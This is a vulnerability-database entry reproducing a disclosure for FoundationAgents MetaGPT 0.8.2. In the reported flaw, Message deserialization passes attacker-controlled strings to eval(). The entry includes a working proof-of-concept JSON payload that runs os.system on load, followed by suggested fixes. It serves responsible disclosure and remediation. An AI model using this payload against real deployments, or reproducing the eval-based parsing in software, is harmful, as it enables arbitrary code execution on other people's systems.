| 标题 | FoundationAgents MetaGPT 0.8.2 Deserialization |
|---|
| 描述 | # Unsafe deserialization in `Message.check_instruct_content()` leads to code execution
## Summary
`metagpt/schema.py:Message.check_instruct_content()` accepts serialized `instruct_content` data and, in the `"mapping"` branch, passes attacker-controlled strings into `metagpt/utils/serialize.py:actionoutput_str_to_mapping()`, which uses `eval(...)`.
This allows code execution during `Message` deserialization.
Relevant code:
```python
# metagpt/schema.py
if "mapping" in ic:
mapping = actionoutput_str_to_mapping(ic["mapping"])
actionnode_class = import_class("ActionNode", "metagpt.actions.action_node")
ic_obj = actionnode_class.create_model_class(class_name=ic["class"], mapping=mapping)
```
```python
# metagpt/utils/serialize.py
def actionoutput_str_to_mapping(mapping: dict) -> dict:
new_mapping = {}
for key, value in mapping.items():
if value == "(<class 'str'>, Ellipsis)":
new_mapping[key] = (str, ...)
else:
new_mapping[key] = eval(value)
return new_mapping
```
## Impact
If an attacker can influence serialized `Message` data before it is deserialized, arbitrary Python code can be executed.
## Proof of Concept
```python
from __future__ import annotations
import json
import sys
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
if str(REPO_ROOT) not in sys.path:
sys.path.insert(0, str(REPO_ROOT))
from metagpt.schema import Message
def main() -> int:
payload = {
"id": "poc",
"content": "trigger deserialization",
"instruct_content": {
"class": "ReachableModel",
"mapping": {
"field1": '(str, __import__("os").system("echo injection!"))'
},
"value": {"field1": "ok"},
},
}
msg = Message.load(json.dumps(payload))
print(f"message_loaded={msg is not None}")
if msg is not None and msg.instruct_content is not None:
print(f"instruct_content={msg.instruct_content.model_dump()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
Run result:
- `injection!` is printed as a side effect of deserialization
- `message_loaded=True`
- `instruct_content={'field1': 'ok'}`
## Relevant deserialization paths
- `Message.dump()` / `Message.load()` in `metagpt/schema.py`
- `MessageQueue.load()` calls `Message.load(...)`
- `metagpt/software_company.py` supports recovery from serialized state via `recover_path`
- `metagpt/software_company.py` calls `Team.deserialize(stg_path=..., context=ctx)` when `recover_path` is provided
- `Environment.history` stores `Memory`
- `Memory.storage` stores `Message` objects
The PoC uses the same `Message` deserialization logic as the framework.
## Suggested fix
- remove `eval(...)` from `actionoutput_str_to_mapping()`
- use a strict parser / whitelist for supported field type encodings
- reject unknown types instead of evaluating arbitrary expressions
The `"module"` branch in `Message.check_instruct_content()` also accepts serialized module/class names and dynamically imports them:
```python
elif "module" in ic:
ic_obj = import_class(ic["class"], ic["module"])
```
## Affected locations
- `metagpt/schema.py:251-263`
- `metagpt/utils/serialize.py:50-57`
|
|---|
| 来源 | ⚠️ https://github.com/FoundationAgents/MetaGPT/issues/2038 |
|---|
| 用户 | ASUKA39 (UID 70397) |
|---|
| 提交 | 2026-05-13 13時19分 (22 日前) |
|---|
| 管理 | 2026-06-01 18時34分 (19 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 367673 [FoundationAgents MetaGPT 直到 0.8.2 metagpt/schema.py Message.check_instruct_content mapping 权限提升] |
|---|
| 积分 | 20 |
|---|